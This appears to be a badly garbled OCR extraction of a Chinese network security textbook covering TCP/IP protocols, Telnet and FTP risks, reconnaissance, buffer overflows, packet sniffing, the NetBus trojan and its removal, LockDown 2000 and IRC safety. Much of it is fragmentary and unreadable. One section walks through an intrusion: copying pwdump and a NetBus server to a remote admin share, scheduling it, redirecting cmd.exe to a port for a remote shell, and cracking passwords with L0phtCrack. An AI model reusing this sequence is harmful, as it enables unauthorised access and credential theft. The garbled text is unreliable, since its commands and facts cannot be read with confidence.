(| NETID HOST ID
6C
4 D
239
5E Internet
254
A B
Subnet A B
14bits 8 hits 8 hits
(| NETID SUBNET ID HOST ID
7 B
SUBNET ID HOST ID
ID ID 1
IP
113 AND”
146.64.127.7 .AND 255.255.255.0 B
146.64.127.0
127.
2 IP

8 5
64516 Internet
8 6 C
254 Internet
D |IP 224
E IP 240
7

NET ID HOST 1D
32
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P
P
P
3 IP
P
TCP
TCP P
TCP Internet
TCP
1 TCP
HTTP 80 Telnet 23
1023 65 535 1023
2 TCP
TCP
TCP 8
1 2
_SYN 141567:141567(0) _
SYN 78826:78826(0) |  ———
I
| AcKu4s68
\\ ACK 78827
Data byte
[ —
DATA byte
8
ACK 1 ACK
1 1
14157 2 1
2 1
TCP
TCP 2

2 SYN 78826
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1 ACK 1
3 1 2 1
2
TCP
TCP UDP
UDP
UDP TCP
UDP NFS SNMP DNS
UDP 9 TCP UDP
ACK
uDP UDP
UDP UDP
9 UDP
3 HTTP
HTTP Hypertext Transfer Protocol “ " HTTP
HTTP HTTP
HTTP
Web
Internet HTTP TCP IP 80
HTTP HTTP
HTTP
HTTP HTTP
HTTP Purveyor Netscape Navigator SOCKS
HTTP
HTTP
TISFWTK HTTP 4. SMTP
SMTP  Simple Message Transfer Protocol “ " SMTP TCP

IP SMTP
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SMTP ASCII SMTP
“ 220 READY FOR MAIL” 220
HELLO
MAIL
250
250
3
MAIL RCPT
RCPT 250 550
DATA DATA
354
5
TURN 250
QUIT 221
SMTP
5. FTP
FTP File Transfer Protocol “ "
NFS
FTP
FTP
FTP
FTP
FTP FTP
E mal
E mall @
FTP
FTP FTP Chroot
FTP FTP
chroot
inetd FTP
chrootuid FTP FTP
FTP chroot
FTP
FTP FTP

FROM
MAIL

RCPT

FTP

FTP
FTP

.hroot
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FTP
FTP
FTP wuarchive
FTP
FTP
FTP FTP
FTP
FTP
.-rhosts
FTP FTPD
FTP
1 FTP
FTP Windows NT IP
looplack
ftp 127.0.0.1
Windows NT Unix FTP
2 FTP
CIAC FTP
1 FTP “ ftp” Internet
2 etc passwd” FTP “ ftpletc passwd”
6. Telnet
1
Telenet  Telecommunication Network Protocol
Internet
Telnet
2 Telnet
Internet Telnet Telnet
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Telnet
Telnet Telnet
TCP
TCP IP

1 TCP
2.
3.
4,
5.
1
2.
3.
4,
5.
3 Telnet

Telnet

IT Telnet
Telnet
Telnet
Telnet Telnet
Internet
Telnet
Telnet
FTP FTP
Telnet Internet Telnet
Haker Telnet
Telnet
4 Telnet
1
Telnet Telnet
TCP/IP
2.
TCP/IP 3.
Telnet Internet
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5

6

Telnet

Unix UNIX

Telnet UNIX Telnet

Windows Windows 9X/NT Telnet
DOS Telnet
Windows9x/NT Netterm
Windows9X

Windows9X  Telnet Windows9X
TCP/IP Telnet

Windows9X  Telnet

1 Internet

“ ” “ ” “ Commandn
“ MS DOS ”

3 Telnet

“ Telnet” Telnet

“ LT3 ”

“ K TermType

_'__iﬁTElIu‘:t - 56D

B L) #miEE) SR () RERODOD

E x|
43 (H): b=, r=u. edu. cn
EmE E): Itelnet
EEERIER (D) |velon

o | mit |

UNIX

Microsoft

10
“ Telnet” Telnet
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2=

IR AIER. IrfddE. TrpNel Toterne+ ERIERLGE
R s Windows FAEFTHE.

FIFF 0) : Itelnet bbs. zsu. edu. en ;I
e | B | Bl @ . |
1
4 Telnet 12
BBS Archie Gopher BBS Archie  Gopher
13

S0 WD AND ERD

£
Helcome to .El'ln-ng:l.han [Sun Yat-sen) l]lil.rer:l.ity :I
¥at-sem Channel BOES

i g
= }’E?HJ'ETEPEH';I E:E:FS#
{Login just type bbs or bbS, JEF bbs 3k bos B

pigital UMIE (argo.zsu.edu.cn) {Etpgdl

Login: bos]
s dE
12
WHE W THE L] Iillll"' Wi = ;I
aE 5] = =i, ] G__wEE
L LR i L] HEEH& H W, HA "
o L2 =m, S-AERnmE =i mE iy
o, ®F "ER BE & T EE H -H  HAE
e @, @E BN a-ux =, =i He- ue
L o UE ; E}ER o M
i/ o, ;sEnsEn ®, & : < =@ .
0 (HEEETTTTER Ete . mp EHEERR
I N i 8 {m v, mh mh
L - [H “HER __BH____
L ] ":" "!!.lII-II-I'
LR B
(Ut Yot sen cammnet ] o Bk EIEILL Beeds L
%ﬁi":: ! Il. (LT nl] l,i, A -;l;l = [11ma), # _% 7 lildﬁ‘-ﬁlm
im .\,"F 1_.:':&# H'm v guEsEt . oF m,.-'\-.\, LT ! il -
al | L [
13
Telnet
7 Winnt/2000 Telnet
I ntana g ” g ” b CM DH
open  hostname port “ " telnet

hostname port Telnet
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hostname Telnet
Telnet quit
Telnet “ mo
" “ Telnet” “ " 14
net start tintsvr Enter

; 10/ x|
| #tw =8w ||« = | aE| FRB| 2] » = 1 » |
# | B | st [tz | Bahes « |
=] S 8 Task Scheduler IR 8=t Bsh
G RL T A S TCP(IP NetBIOS Hel... fRiR'T... BEUBEh Bsh
- TEAE 48 Telephony ]t Tap... BEBah  Fah
=- .%E%—WFEFH#%F?— o e
-5l DHCP Terminal Services 15 4 M- e
%83 Trivial FTP Daemon Z2E gégﬁ —=h
%Uninterruptible Pow... BE Heaiy =)
&8y Uility Manager M- jif%ﬁ EhiE) =)
8y windows Installer 3 ==h
B windows Inkernet M., A BFEHESE » B3
: _ S windows Managem..,  12# H=h
G- Internet {5 BARS S windows Managem... 3| RIHE) ==h
%Winduws Media Ma... 121 BREER) H=h
Windows Media Pra... FB3 H=h
%Windnws Media Sta... Hf R | H=h =
4 »
[BEh FH+EHL _EEIARE Telnet | |
Td na 13 ” 13
” 13 Td na” 13 ”
net stop tintsvr Enter
8 Telnet
Telnet
Telnet FTP
DOS  Unix Telnet
Windows Telnet “ K “ Help”
15
Unix CTRL * K telnet telnet
| ity =mEoe || = = | =mm | B B B | » m 1 m |
# | Bt | EETES ez [ S=hzesm o
Q T E LS TR & Task Scheduler FEREFER.. . (== =] B=h
e B s TCP(IP MetBIOS Hel...  FREFRET... BELESsh  Esh
I=fifE Telephony
= En AR AR e M it

] DHCP Terminal Services F
o B iR 8 Trivial FTP Daemon =CEL zﬁg% =h
Uninkterruptible Powe. .. B35 *?chw =h
%Utility Manager A — =R S =hiEy =h
%Windows Installer 1 e e baibans it B = —hy
S windowes Internet M., 29573 BRE £ » H=hH
e owindowes Managem. .. 121 =h
fn windows Managem. .. =3 Sl =h
S windowes Media Ma. .. 32 EEPE(R) =h
Sfn windows Media Pro...  FAT =h
%Windows Media Sta... 42 FE R i =h _|LI
- >

BEh EHhEEHL  FahlEsS Telnet [ [
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15
telnet> -
Commands may be abbreviated. Commands are
close close current connection
display display operating parameters
mode try to enter line by lineor character at a timemode
open connect to asite
quit exit telnet
send transmit special characters 'send ' for more  set set operating parameters
for more
status print status information
toggle toggle operating parameters ~ 'toggle ' for more
Z suspend telnet
print help information

telnet> status
telnet>z shell

AC  interrupt.

AU kill.

AN quit.

"D eof.

fg telnet

telnet>q ~

telnet telnet> Telnet

7 DNS ‘

DNS DNS
DNS SMTP FTP  Telnet

DNS

DNS DNS

'set

FTP

DNS
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Internet K

host

WHOIS

host WHOIS

Usenet WEB

Usenet

howmount
smtp

finger
DNS Whios Sendmail

ID walrus
150

news.victim.net shell.victim. net  cgi.victim.net

walrus

finger  rusers

Netcom
2 finger

rpcinfo
ftp uucp

Usenet

ID

host
mail.victim.net

Netcom
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finger finger finger
gateways finger finger WEB field
Cal finger finger
3
4
5

SATAN SAFESuite

X Xhost

6
Internet
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SATAN

KevinMitnik

Weitse Venema

SATAN

TCP IP

80
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Internet
1998 Lincoln
5 3 2
1998 CERT 13 9 1999
Bugtrag 2 3
root “exec sh " root  shell
“ exec ' bin sh'
libc “ exec arg " arg
“  hin & libc

Morris Worm fingerd fingerd
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1 Activation Records

“ stack smashing attack”

2 Function Pointers

"void foo

3. Longjmpbuffers

C
“ setjmp  buffer "

longjmp

something
libc

grep

viod

“ longimp buffer
buffer ”

“ longjmp

Perl 5.003

Perl

Levy

foo

linux

setjmp/longjmp

Xexc

C

strncpy

faultinjection

superprobe
longjmp
C
libc
something ’

strcpy  sprintf

snprintf

Iprm
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C
Unix
Unix  MS Windows
Linux  Solaris
Linux

1
Linux
Unix
2.GCC

gce
| CompaqC
Compaq Alpha CPU C checkl bounds

13 a 3 ” 1
a 3 ”
C
Strepy C
2 Jones Kely C
Richard Jones  Paul Kelly gce C
gce
30

elm
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ssh

12
3 Purify
Purify C Purify “

' Purify

3 5
4 -
C
Java ML
Java Java C VM VM
I
Snarkii  FreeBSD CPU libc
libc
libc
2
gce

I

C 0 nui CR LF | EOF
2

32
Synthetix Symthetix

Synthetix
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Red Hat Linux 5.1

1996
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NetXRay @

Netxray
NetX Ray
NetXRay Cinco Networks
NetX Ray
NetX Ray
NetXRay
NetXRay NetX Ray
NetX Ray
NetX Ray tools host table
5 1
Eh Hasn Tabla 449 atatisas F =13 |

Top 10 Hosts By Totsl Byles bl

IRLL o o] rdea L

. ‘W
- -

D e T SN

G| |2]=le ] &SEB

S T 7T

5 1
5 1 Internet
1P
192.168.0.6 1P
216.217.111.8 ICMP
202.102.29.164
NetBIOS
olcQ IP
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0ICQ

llI?ﬂ'“__JDmm

-" .-'|. ." r,
B i

Il': 7 '|'|'|"'.: : -__.I-, R ':'I-.Ii

A i'-'| i

I s P S T T
'._. ;!:.- &
| 28 | 100 [l sop]
Y Gmam 4 Detsl f
5 2

capture start

“ Matrix” 5 3
(T
llukibﬁl_jl |
'IHI 'Ili. - I-II':'U HI e
| ‘:“__ '-"I.I
AV “@ rnl
[ -
6 [ 21
Y cmme § Dol 7
5 3
IP
Netxray Dashboard

[ Dachboard

IP
other http ICMP DNS
IP

IP tools capture

5 1
capture End And View
5

oo 1 P a0 SOCER '

0 fe .0
[l '-'= Litilizat

E20-2512

i B TR\

Gauge A Detail

Detail
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Dashboard
5 5 Genera Ask Save For
Decode Update

Frequency

Threshold 5 6

Name

high Threshold

Alarm 5 7
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Gararal | Thesaheld Mars ih:'ﬂuﬂ.-l | Beekspusa |

Erand

[t =] '.l:i]_+r xﬂuxnﬁ'nsrrrma-mm

F? Eoshile Ree Alum afine Severity. | refine hevions. |
Sewerity | Actioni | Action2 | Actiond | Actiond |
ET
2 |msior
3w
4 |wwreg |
5 | miormations |
wmE | wm | Em |
5 7
Define Severity
Define Actions
Define Actions 5 8
Hiss [ Typs | Semsmury |
TLACETE ZATF Aleaye an;
FE ]| maie.. | balana | oK Cuncal |
5 8
Add 5 9
NI, 2l
Bees: [rang
i+ SATF mail
Cepy awliings IHm :I
i~ Fugar
Cepy zetiings I ;I
I Easgar
Copy metiings | ;I
T Saript
Copy setiings I _;I
K | Camecal I
5 9
NetXRay

SMTP
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i
s

3

EIEEE

EE

"
n

NetX Ray
FTP 21 21 FTP TCP
NT NetXRay

Portl

Workspace

UNIX
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Ha Slahis |5 ouicsi s Dt Skl ; LJE Saaindny
[« 17 0Ok 02 .96 . 170 16192 . 168 0,13 UDFE B000=>4000, LEtinlZ a
[T 18 (k 193 1e2. 0,10 202 102 294 20 1TCF lig2=xFile Trapsis
[ 19 0k 192 1&68.0.& 216217 111 .8 TCP 1188-:File Trap=sf__
[ 20 0k Z02 102 24920192 1@ 010 TCF 4179-31455 . S=3409
[ 21 0k 92 168 . 0. 10 202, 102 Z49.% F 1455—:4179.5=1182 =
i | ™
- i“l“"—cl—ﬂ' Tatagram Proboool d
Port £000 ——: NI
J Total length: 320 (Octebs) —l
3 “hecksun: DRBEILL
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4| | LIJ
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Czsoopy o= shisohspueddamp. swes %209, 1AL 30, 193 sadm 0% e petom 2
I Filedis? copied.

Cindeopy ©fshaokKnatews . exne 5207 .. B2 20 193 “adminG o yetamdd

L Flleted aoplod.

29
ntsrv.exe 30

Crndnetsve 209, 1802.20,.193 schedule Afzrarc
Service i3 running on 2@ . 102 .20.193

Civdat »»ZA%.182_208.193 13:38 ntarv.exe Aportib4321 Snonsg

Service dis running on SS2EF 182 .28.1%3

13 30 letmein
SCHEDULE ntsrv.exe 64321
200 65360
OK NetBus NetBus.exe host name/IP
209.102.20.193 Port 64321 “ Connect ” 31
FF HetBis 1,
Server admin Host namedpP: [209.102.20.193 _v_] Pon:]s-ﬁﬂ
Open CO-ROM [ inimtervat: [0 About | Addip | Cancet |
Shan e Functiondetay: [0 Memo | DetiP | scant |

Start program

Play sound l 1!] LH] Control mouse

Swap mouse | Port Redirect | App Redirect I Server setup |

M=g manager Exil Windows | Mouse pos | Go to URL I
Screendurmip Send text | Listen | Hey managern |
Get info I Active wnds I Sound systemn ] File manager I

Connected to 209.102.20.133 (ver 1.70)

31
NetBus Help "Get Info" 32
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'E Frogram Path: C AWIHHT'=v=tem3Zhntisiv, exe
-

FEe=tart per=zistent: Ho
Login ITi: SYSTEM
Clients connected to thi= hest: 1

32
WIinNT c \winnt “ App Redirect”

hpplicaticon Kedira

Application to redirect:
|I:Z YWeinntv S pstem325ACmd_exe

170 at port:

54321

Start Cloze

33

61111 59999
Telenet.exe nc.exe SERVER 34

TE i AN - ne 209 102, B0 LD SAIE

0 e RS LER  2W-173 S43F1
(R Wiindiws HT{TH>

{02 Copwright 1VAG-1796 Miloroeaft Carp.

22 W THMT s pelamdE nel wiow
nat uise
Eerwvar Hamn Eamark

Froducklion heresre C11L,. HQL. LKATEF:
346 @ Eerver B

Toskikhs ZHENT Hotehaohk

Pane Lum

Compay 4

“@HTRI DCGE
RUER
command conplated succAzsalElly.

Administrative Forwer — Pelnters sl Pils

AZ 2 AT HMT = e tam] 2

34
nc.exe

Telnet telnet 209.102.20.193 54321
5 5 Telnet.exe 35

33
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HEC S S W
Higrasaf i) Wimidows HI{TH)
(L) Lopyraghl T%HLR- 1888 FMicresol @ Coarp.

S WWTHHT s e s ek wipw
net viEw

Lppupr Hampe Femark

% ERADY Productlom Serwver (115, S0L, SHEP)
WAEOHRSUR d86& B Serwer Stakblen

WAMIVES Toshima &EPSCET Hotebook

%% S HHD Femtlimm X080 @ Deu-F

Y5 PR TR DEE Compag R1E3

%% SERWER nidministrative Serecr - Printers amd Files

The command corgleted sucoessFully.

[ EYHTHHT S e md2 X

35
DOS

ping

telnet nc pwddump.exe

36

T T

1996 Hicrosofs Gorp

AL MR ™ i et winw
Tt widm
s b= M Fii msm itk

FProdoant ion Enrerr <ITE. E9L. SFTES
AT A Tt domn
Hio t o oo b

Frintees Al File

semragy Lo & ool

NetBus  server.lc LOphtCrack 2.5

37
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Fils forls Timdaw
Bruts Foros:-diEsd . o0 i Dama M o ] B Esdr Farw: L3TE0L “E AL
:IT." H-I" : Ibm:r-u- .:--nu-.-ru | | passmeras Tﬂ::u“::u S
SmavERs S L P nssoravontismsed:
B B | S e
P . CRTEP IR TENELIEEAAD IR
THAN DRALT ZERALRAARSIACEPEOAIE
L e ST e R D e e e L 8 |
| | =
Crucking & of 10 found (90E)
37
server.lc  pwddump.exe
NT
Pinger C
WWW.Somesite.gov
IP 111.111.111.111 C IP
WWW.Somesite.gov usash letmein
usasbclient administrator test usasb letmein
test usasb LC usasb
ok usash WWW.Somesite.gov killusa
Hacker
Hacker
NetBus
1 NetBus
NetBus NetBus NetBus
NetBus NetBus
¢ \windows ¢ \windows\ system “
.scf” WIN98
c

\windows “

§ ! i “ 483KB” “ 461KB” c
\windows regedit.exe
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTYVERSION\RU
N ab ab

“ C  \windows\ .exe/nomsy”
NetBus ab MS DOS cd ¢ \windows
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del .exe del keyhook.dll windows
NetBus BackOrifice
PC Anywhere
2 NetBus
NetBus
NetBus

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\Run and remove
the program patch.exe
Jani
NetBus Panda Software  www.pandasoftware.com

NetBus 12345 12346
NetBus
port 12345 NetBus NetBus
—_— netstat UDP UDP
NetBus Privacy Software www.privsoft.com
BOClean32 2.01 Puppet  www.dynamsol.com/puppet Cleaner 1.9c
Cleaner NetBus
Trojans  BackOrifice Master's Paradise
NetBus
www.nttoolbox.com  www.nwi.net/  pchelp/nb/NetBus.htm Privacy
Software  www.privsoft.com/psc  nb.html
NetBus BackOrifice Trojan
3 NetBus Detective
NetBus
NetBus Detective NetBus
NetBus Detective NetBus
NetBus Detective NetBus NetBus
Detective NetBus
NetBus
NetBus NetBus Detective !

PRI A By K
LockDown 2000
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Worldtalk

“ " ow ”

Harbor Telco
LockDown 2000
LockDown
LockDown 2000 Harbor Telco

LockDown 2000
LockDown 2000 596
10 10
LockDown 2000 v7.0.0.2
LockDown 2000
LockDown 2000
IP
LockDown 2000 v7.0.0.2
1
2

LockDown 2000

LockDown 2000

1000

Windows

Windows

LockDown 2000
LockDown 2000

LockDown 2000
Windows 95/98/NT
LockDown 2000
IP
IP

LockDown 2000
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LockDown 2000 TraceRoute IP
Whols
5
LockDown 2000
Pop up
LockDown 2000
LockDown 2000
LockDown 2000

LockDown 2000

LockDown LockDown
LockDown 2000

1 LockDown 2000

= LockDown Z000 »7. 0. 0.2 — 0O zhare co 1= xl
File Wiew Help

% B - & @

] P tors Lo g= I P

] Met Ltils ] Shares ] Share Conneclions ] Former Share Connechionsz ] Flug-inz ]

-=[ Information ]=-
== | ackDown 2000 +7_ 0.0.2 initialized at 2™ _ £ 8 27 2000, at 09:-59 -
Al drBEixrErE ==
== LockDown 2000 +7.0.0_2 initialized at Z2 M _ 8 27 2000, at 09:44
AM PTHixNENE ==
:: Trojan network connectivity check enabled.
2 Auto Trojan scan i activated.
2 Huke protection dizabled.
22 ICQ Nuke protection disabled.
[00-7-27 9:54:52] Sysztem Area Change - Windows Directory - Rescanning ﬂ

Trojan Scanner:  Achive Options. .. 9 days remaining.
*UMREGISTERED*

ICQ/Nukes/Troj: off/off/OM Options...

H Save Information Log |

AutoTrace: Active Options. .. T o o e |
Dizconnect mode: [OFF] Humber of current user=s: 0
1
Main 1 LockDown 2000
Options Trojan Scanner
|CQ/Nukes/Troj ICQ / / AutoTrace
Save Information Log Clear

Information Lof
Net Utilities 2 TraceRoute  Whois
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ISP

£ LockDown 2000 »T.0.0.2 — 1 zhare conn iy | ﬂ
File V¥Yiew Help

Lo gz ] [ul date Hel p ] -r'| |k,

b ain Met Ltilz ] Shares ] Share Connections ] Former Share Connections ] FPlug-inz ]

TraceRoute Save Wwhols E
Hostname or IF to Trace: Hostname or IP to lookup:

[192.168.0.6 |

v Fesolve Hostnames  CIr | +" Execute | ¥l Change Server | LClr | + Execute |

1 1m= <10m=  1ms LIRS [192.168.0.6] J ==[Looking up 1392.168.0.6 on whoiz.networksoluti .
[= Trace Route Complete =] - The Data in Metwork Solutions" WHOIS databas:
- Salution= For information purposes, and ko assi:
- information about or related to 3 domain name r
- Metwork, Solutions does not guarantes its accur
- WHOIS query, you agree that you will use this Dal
- purpo=es and that, under no circumstances will y
- [1] allow, enable, or atherwize support the transn
- unsolicited, commercial adwertising or solicicatic
- [spam]; or [2] enable high wolume, automated, &
- that apply to Metwork Solutions (or its systems].
- resertes the right to modify these terms at any

- thiz query, you agres o abide by this policy. —
4| | 3

Tisconmect mode: [OFF] Humber of shares: 0O
2
Shares 3
= Lockllown 2000 »7T. 0. 0.2 — 1 share «c i ﬂ
File ¥iew Help
Options Logs Update Help |_|-r|||
k ain ] Met Ltilz  Shares ] Share Connectionz ] Farmer Share Connections ] Flug-inz ]
Server | Shared Folder Shared &z | Corrment
L] B o INDOWSSDE .. CANDY

Bl C MY DOCUMEN...  BOZK
B E L E0MA aD
i CNDOWSADE.. HEES
Bl L INDOWSNDE.. YWE
imr F
[ ol ]
[ Jui C
1 3 |

Dizconmect mode: [OFF] Humber of share=: 9

3
Current Share Connections 4
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Laskllasn POO0 »7T 0. 02 - 1 share seanetieniz] — 18] =

Fila Fiew Halp

80 > &>

Mar | Hai Uik | Shass SFuwe Connections | Fosrar Sha Conrmetions | Plgins |

Hirlwinrk Infaarmatinn
S LikL] Ertat lina 113314
F Entes dade 00727
Carrmcted S Douln 52
| il e D43
IF sddieds 192 1E30E
Lleay AlHIMSTRATOA
LIkaDs
Dicconrmci mads [OFF] Foaber ef curvent chars ooerg: 1

4
Former Share Connections 5

IP

P ar | et Ly | :.\hﬂ".'!-'l Shees Connecions  Foimen Shae Conmsclion:
Helwonak Ied o e o

Fhag-ns |

« DE E ribss Baryen: 102830
= [d Enle dabe 0o-727
! [r C E nlss slsluz Logged an
+ I E it liima 103843
-1 [ E b clabe: 00-7-27
E it simtus Ficked
LR EdFmE. doc
+ DE Conneched me 01011
= LI |P aiddesss:
[n] L i
= LINLE=
- F
F a0 5 il
i zcormect mads: [OFF) Hambsr of former uzsrs. T
5
Plug ins LockDown 2000 Get Information LockDown 2000
LockDown 2000 VBS Inspector Download and Install
LockDown 2000 VBS Inspector
LockDown 2000
L ockDown 2000

LockDown 2000
Options Options 6
LockDown 2000
General 6
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opriens

Matwactk irfo Flahiach Fisks: |1|;||;|:| _;J ¥ Sourd when rew conrmetlion

[ milkoeconds] Tedt Chooze your sound

Humber of connectiors.— [T00 =] . " Starwlasd sowrd |gien]

by T ™ Couritsdim oo

' Lerech LeckD orm 3000 on stariug | I

Dot i Y ST

¥ Popun wendoes on ness connscbion
|leu|: rubvact b shalong. com ;I

™ LogIPCE
i e whan solng LockDosn 2000

= TesceRoute rew conret litn
™ Resoke FHosinsmss [Faah conrections)

LockDown 2000 - ver. 7.0.0.2

E'l-:u-ru'\-a-cll l‘rl\-ﬂr\gl Dmlml Tiossne  Dusrasl | | i3 I Carcel
6
Network Info Refresh Rate
1000 500
Number of connections to remember
100
Launch LockDown2000 on startup LockDown 2000
LockDown 2000 “ "
Popup window on new connection
LockDown 2000 “ "
Log IPC IPC  Inter Process Communication “ "
Warn When Exiting LockDown2000 LockDown 2000
7 LockDown 2000

Caafin .|

5] If you clexe LockDown 2000, year compuier will ac Janger be protecisd sre you surs
\':.I") Foi maat Ma aEib R

= d = |

7
Sound when new connection Standard sound
siren Custom sound
wav
Default Whois Server Whois ISP
whois.cnnic.net.cn
TraceRoute new connection LockDown 2000

Disconnect 8
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Program | Clear Program List
Add program
Femowve program

[ Dizconnect all when executing programs listed above

Dizconnect uzers after idle time of [in minutesz]: 10 -

kA axirnum number of connections: 10 =
Dizconnect | [P Filtering Detection] Troians] GeneraIJ oK. ||
8
Add program

Format.com Debug.exe

Clear Program List

Remove program

Disconnect all when executing programs listed above
LockDown 2000

“ ” “ ”

Disconnect users after idletime

10
Maxmium number of connections
10 1
IPFilter IP 9
&E Dh:m Hara P I Clssr Dgconnect Lt |
o e | Ry
20 204, 208 211 ':5._E|5'|_i f-'_i_li_Dm:trr-._-_-_-_._. _'_E_l
Ramave IF |
[ Bdways clbow Bese 1P ] Chuar Abows List |
2 A M 248
202 204,208 18 Bl 1P 1o dloer |
Femnayvs IF |
™ Aboss Sipecihed 1P [ Dizporrect Spscihed IPs
IF Filteiing | Detection | Treojans | E-n—il oK I Canpel

9
Add IPFilter IP “ 1P ? LockDown 2000
IP
202.204.208 IP
IP 202.204.207.
“©o IP 202.204.208.

IP Disconnect Mode
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Filter IPAddresses IP IP
I P 113 ”
Detection 10

[# Dhetect Teojan Conrssclbion &Bamgls

B cheeching St boo, LockDown 200 sl oo bor argone abenping o conrect
I U Compassr i S et o BT Pepon fscE b o e i sodnecs snd
s snbosmshon.

™ IC0 Muke Protechion

By checking it bos, LockDoyn ST el protsct powr compulst fom backers
afempting bo tragh 100 by serding i imvabd packeis

[T Muke Pisbecbon

By chacking Sz b, LockDown 2000 sl peotesct pour compubs: fom e cumsnt

derial of parice sqkiz
[ ko cernsct | IP Fltend D stechor l T notanis | Eml T OE W Careal
10
Detect Trojan Connection Attempts
LockDown 2000
LockDown 2000
ICQ Nuke Protection 1CQ ICQ
1CQ Protect WFIPS2
113 kil ICQ
Nuke Protection LockDown 2000
LockDown 2000
Trojans 11

Aulomatic Tropan Scannnr Filln Champa Bonio M anual Teogan 5can
o Soanforunnouniman: | 7 ADTOESECBAT | ScanPath [oh— g5]
FF Background soan fos ojara i COMFIG.5YE

™ Backgound soan ol slat =T S Fow Tiogans
Scan Imereal [mecp 45 5 F SraTEMBI Fast Spshamn Seas Goan
Adiditsnal Sean Palkh

Sean Senzilivily
Tropsn Ssgnatures - 704 loaded Ignoae Lisk

'[hm:ll:ndn' 1-||:.m il |

S I b Fesmores
Schhung - AT —I

o Bokery 1.0~ Troen =| | F Dont Soan WINDIEATEMP

h:-r-;u|ﬂhi-q|ﬂ T||;“-||!ﬁ-rmd! == I|

11

Automatic Trojan Scanner Scan for unknown
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trojans Windows WIN.INI
AUTOEXEC.BAT SYSTEM.INI CONFIGSYS “ ”
File Change Monitor
Background scan for trojans
Windows Windows\System

Windows\Temp Startup “ " Background scan at start
LockDown 2000
“ ” Scan interval 20
10
LockDown 2000

Manual Trojan Scan
Scan Srive for Trojans LockDown 2000

Additional Scan Path

Ignore List
Remove
Options LockDown 2000
View /Disconnect Disconnection Mode
B Disconnection Hode
Digconnect Mode:

o+ Dizconnection OFF

" Disconnechion via List

" Dizconnection All Except Allowed

T Dizconnect All Users

Wiews List
12
Disconnect all
Disconnection list
View List
Disconnection Off
LockDown 2000
LockDown 2000
LockDown 2000
ISP
LockDown 2000 log 2000
7 25 07252000scan.log LockDown 2000

Logs log log
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13

& Log Viewsr

Date [HHDDTYY) [00-7-27 54 52] 5 yalem duss Sran Shat

Heip g [D0-7-27 950 37 S ean Camplala
P ZEOIS0aH LOE [00-2-27 1012 (02 Spsham Araa Soam Stat
[00-7-27 100150 (65 Secan Compilate

[0 27 T 1% B2 Sopehiiin S 5 a Shail
[00-7-27 1001728 Soasn Complate
[O0-7-Z7 1020 0] Spctiim Araa Scam Sial
DS T2 2 22 S Lioangabste:
D027 11:57:17] Spstem dras Scan Slan
D0-7-27 1.2 00 02 S Dbt
[O0F7-27 1 7 0% 37 Spshmm Srea S oo Sia
[O0-7-27 1710 23] Sican Complets

Deisne
D in Motepad
gy 1o Clepboaid =l
13
log log

<l 46 29 PM> Trojan network connectivity check enabled.
<l 46 29 PM>Auto Trojan scan is activated.
<l 46 29 PM> Nuke protection disabled.
<l 46 29 PM>I1CQ Nuke protection disabled.
<3 14 24 PM>Incoming hack attempt from IPAddress  202.204.211.249
IP 202.204.211.249 3 14
24 LockDown
2000
<3 14 24 PM> Terminated connection attempt
<3 14 24 PM> Attempting trace route Please stand by
26 ISP ISP

<3 14 50PM>=>194ATM8 0 O0.GW1DFW1ALTER.NET
<3 14 50PM>=>iadfw3 gw.customer. ALTER.NET
<3 14 50PM>=>big bro f5 O.iadfw.net
<3 14 50PM>=>ghtia ds3 1l.net.iadfw.net
<3 14 50 PM> => atnt03.ght.iadfw.net
<3 14 50PM>=>pppt03 251.ght.iadfw.net
pppt03  251.ght.iadfw.net

ISP iadfw.net ISP
ALTER.NET
ISP
LockDown 2000 “ Net Utilities’ Whois ISP
iadfw.net Execute
== Looking up IADFW.NET on whois.internic.net ==
Registrant

Internet America IADFW DOM
350 N. St. Paul Suite 3000
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Dadlas TX 75201

us

Domain Name  IADFW.NET

Administrative Contact

Davis Doug DD344 Cto@AIRMAIL.NET
214.979.9009

Technical Contact ~ Zone Contact

NOC IA IN167 noc@AIRMAIL.NET
214.861.2577

Billing Contact

Chaney Jm  JC12164 cfo@AIRMAIL.NET
214.861.2553 FAX  214.861.2663

Record last updated on 30 Nov 98.

Record createdon 09 Jan  95.

Database last updatedon 27 May 9913 27 39EDT.
Domain serversin listed order

NS1 ETHER.IADFW.NET 204.178.72.1
NS2.IADFW.NET 204.178.72.30

ISP Email
ISP
log ISP 24
ISP
Whois Whois 200
Whois whois.cnnic.net.cn
whois.nic.ad.jp whois.apnic.net
whois.ripe.net
“ " LockDown
2000 View/Password LockDown
2000 LockDown 2000
“ 8 LockDown 2000

ByeBye
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IRC Internet Relay Chat 1988
60 “ tak” “ tadk” IRC
“ channgl”

Internet IRC nickname

channel nickname

IRC

CHAT”

BOT
IRC IP Flood DccFlood
IRC

IRC
IRC Mirc

1 IRC QQ

2 IRC Email Mirc Alt O

Nick Email  Yournick@irc.com

3 IRC IP

<springold> > http  //XXXXXXX
http
<springold>
URL IP

4 DCC Chat DCC
‘ exe’ “ vbs’ “ com” “ pat” “ pif” “oser” “ Ink”
Mirc Alt O >DCC

“ an
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DCC flood DCC “ "
Jpg gif .png .bmp xt Jog
wav .mid .mp3 .zZip
IRC
Sub7
IRC
IRC DOS
IRC “ ”
1 Srvep.exe
“ Drones’ “ Clonebots’ K lined
2 Link.vbs
Link.vbs VBScript Outlook
Mirc  Pirch DCC
3 Back Orifice NetBus
Pchome.net
4. Script.ini
Script.ini Mirc Mirc
Mirc IRC
IRC
5. Dmsetup.exe
“ XXXXX.jpg.com” 95/98 ipg
80K
¢ \windoom.exe c¢ \windows\Freeporn.exe
autoexec.bat 2 c \ ¢ \program files
6. Mirc PC100
http  //lwww.irchelp.org/irchel p/security/trojan.html
Mirc Script Mirc
1 u
" Mirc Script URL
2 Windows
Pimm.jpg
3 Mirc DCC
4 Mirc
5 “ ”
IRC
IP
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MM

IRC IP
1 Mirc /lecho ip IP

IP Echo
/Ime
IP
2 BBS IP
BBS
3 IP
IP
2 IRC

/who /whois
/who springold

springold H  ling_zhu@127.0.0.FastNet 14601 O coolove
springold /WHO

/whois springold

springold ling zhu@127.0.0.FastNet 14601 coolove

springold IRC.FastNet.Org FastNet IRC Server

springold 27mins 55secs SatJun0218 53 21
springold /WHOIS

ling_ zhu@127.0.0.FastNet 14601
127.0.0.FastNet 14601 IP Mask
/modenick  x
X
spirngold

/mode springold ~ x
19 23 26 springold X
ok
Test Mirc
/who springold

springoldH  ling_zhu@127.0.0.1 0O coolove
springold /WHO

lIsay
/Isay

ip
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/whois springold

